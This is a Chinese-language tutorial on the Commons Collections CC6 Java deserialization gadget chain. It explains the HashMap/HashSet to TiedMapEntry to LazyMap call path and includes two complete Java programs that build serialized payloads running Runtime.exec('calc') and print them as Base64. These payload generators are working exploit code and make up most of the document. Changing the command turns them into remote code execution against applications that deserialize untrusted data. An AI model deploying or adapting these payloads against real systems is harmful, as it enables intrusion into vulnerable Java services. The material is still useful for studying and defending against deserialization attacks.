利用说明
依赖版本
commons-collections : 3.1-3.2.1
jdk1.7 & jdk1.8
利用链
HashSet.readObject()/HashMap.readObject()
HashMap.put()
HashMap.hash()
TiedMapEntry.hashCode()
LazyMap.get()
ChainedTransformer.transform()
InvokerTransformer.transform()
总结
- 反序列化HashMap或者HashSet, 调用 TiedMapEntry 的 hashcode 方法,接着调用了 LazyMap 的 get 方法,触发了后续的 Transformer 恶意执行链。
前置知识
HashSet
HashSet 是一个无序的,不允许有重复元素的集合。HashSet 本质上就是由 HashMap 实现的。HashSet 中的元素都存放在 HashMap 的 key 上面,而 value 中的值都是统一的一个private static final Object PRESENT = new Object();
。HashSet 跟 HashMap 一样,都是一个存放链表的数组。
在 HashSet 的 readObject 方法中,会调用其内部 HashMap 的 put 方法,将值放在 key 上。
TiedMapEntry
通过文章开头的调用链可用发现,调用链后边的部分其实和CC1没有差别,区别就是 LazyMap#get()
调用被改掉了。
因为CC1在8u71之后就不能用了,就是因为 LazyMap#get()
调用被改掉了。所以需要找新的触发 LazyMap#get()
的方式。
在这个类中的getValue方法中我们可以看到调用了get方法。
而getValue又被hashCode调用
HashMap
我们在HashMap的readObject中发现了hash调用
其中就有任意类的hashCode调用
攻击构造
所以这个CC6有两种构造方式,一种是以HashSet为起点的,一种是HashMap为起点的。
首先是LazyMap和HashMap的方式
import java.io.*;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.InvocationTargetException;
import java.util.Base64;
import java.util.HashMap;
import java.util.HashSet;
import java.util.Map;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.map.TransformedMap;
public class CC6 {
public static void main(String[] args) throws ClassNotFoundException, InvocationTargetException, InstantiationException, IllegalAccessException, IOException {
ChainedTransformer chain = new ChainedTransformer(new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
});
HashMap hashMap = new HashMap();
Map lazyMap = LazyMap.decorate(hashMap, chain);
TiedMapEntry tme = new TiedMapEntry(lazyMap, "keykey");
HashMap hashMap1 = new HashMap();
hashMap1.put(tme,"value");
lazyMap.clear();
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(hashMap1);
oos.close();
// System.out.println(barr);
System.out.println(Base64.getEncoder().encodeToString(barr.toByteArray()));
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
Object o = (Object)ois.readObject();
}
}
然后可以在HashMap之外简单的嵌套一层HashSet即可成为HashSet为起点的链子。
根据前置知识的HashSet,HashSet的readObject方法中会将值放在key上。所以重点就是
import java.io.*;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.InvocationTargetException;
import java.util.Base64;
import java.util.HashMap;
import java.util.HashSet;
import java.util.Map;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.map.TransformedMap;
public class CommonCollection6 {
public static void main(String[] args) throws ClassNotFoundException, InvocationTargetException, InstantiationException, IllegalAccessException, IOException {
ChainedTransformer chain = new ChainedTransformer(new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
});
HashMap hashMap = new HashMap();
Map lazymap = LazyMap.decorate(hashMap, chain);
TiedMapEntry tme = new TiedMapEntry(lazymap, "keykey");
HashSet hashSet = new HashSet(1);
hashSet.add(tme);
lazymap.clear();
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(hashSet);
oos.close();
// System.out.println(barr);
System.out.println(Base64.getEncoder().encodeToString(barr.toByteArray()));
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
Object o = (Object)ois.readObject();
}
}